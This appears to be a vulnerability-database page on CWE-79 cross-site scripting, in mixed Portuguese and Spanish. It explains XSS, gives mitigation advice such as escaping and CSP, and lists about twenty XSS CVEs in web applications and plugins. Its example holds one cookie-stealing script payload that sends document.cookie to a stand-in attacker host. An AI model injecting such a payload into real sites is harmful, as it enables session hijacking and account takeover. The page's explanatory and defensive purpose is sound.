Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-7408MEDIUMSourceCodester Zoo Management System animal_form_template.php cross site scriptingEPSS 0.3%CVE-2024-38953MEDIUMphpok 6.4.003 contains a Cross Site Scripting (XSS) vulnerability in the ok_f() method under the framework/api/upload_control.php file.EPSS 0.3%CVE-2024-51668MEDIUMWordPress MyCurator Content Curation plugin <= 3.78 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2078MEDIUMCross-Site Scripting vulnerability in HelpDeskZEPSS 0.3%CVE-2024-53786MEDIUMWordPress Cowidgets – Elementor Addons plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-4667MEDIUMSimply Schedule Appointments <= 1.6.8.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple ShortcodesEPSS 0.3%CVE-2024-28983HIGHHitachi Vantara Pentaho Business Analytics Server - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.3%CVE-2026-7052HIGHHT Contact Form <= 2.8.2 - Unauthenticated Stored Cross-Site Scripting via File Upload FieldEPSS 0.3%CVE-2025-63708MEDIUMCross-Site Scripting (XSS) vulnerability exists in SourceCodester AI Font Matcher (nid=18425, 2025-10-10) that allows remote attackers to exEPSS 0.3%CVE-2024-2211MEDIUMCross-Site Scripting vulnerability in Gophish Admin PanelEPSS 0.3%CVE-2025-1571MEDIUMExclusive Addons for Elementor <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Animated Text and Image Comparison WidgetsEPSS 0.3%CVE-2025-57540MEDIUMA stored cross-site scripting (XSS) vulnerability exists in the WebAuthn Relying Party field within the Datacenter configuration of Proxmox EPSS 0.3%CVE-2024-6261MEDIUMImage Photo Gallery Final Tiles Grid <= 3.6.0 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-7857MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request bwdates-passreports-details.php cross site scriptingEPSS 0.3%CVE-2024-31159MEDIUMASUS Download Master - Reflected XSSEPSS 0.3%CVE-2024-8328MEDIUMHWA JIUH DIGITAL TECHNOLOGY Easy test Online Learning and Testing Platform - Reflected XSSEPSS 0.3%CVE-2025-2477MEDIUMCryoKey <= 2.4 - Reflected Cross-Site Scripting via 'ckemail' ParameterEPSS 0.3%CVE-2026-5090MEDIUMTemplate::Plugin::HTML versions before 3.103 for Perl allows HTML and JavaScript to be injectedEPSS 0.3%CVE-2025-57539MEDIUMA stored cross-site scripting (XSS) vulnerability in the U2F Origin field of the Datacenter configuration in Proxmox Virtual Environment (PVEPSS 0.3%CVE-2024-37156MEDIUMTokenController formName not sanitized in hidden inputEPSS 0.3%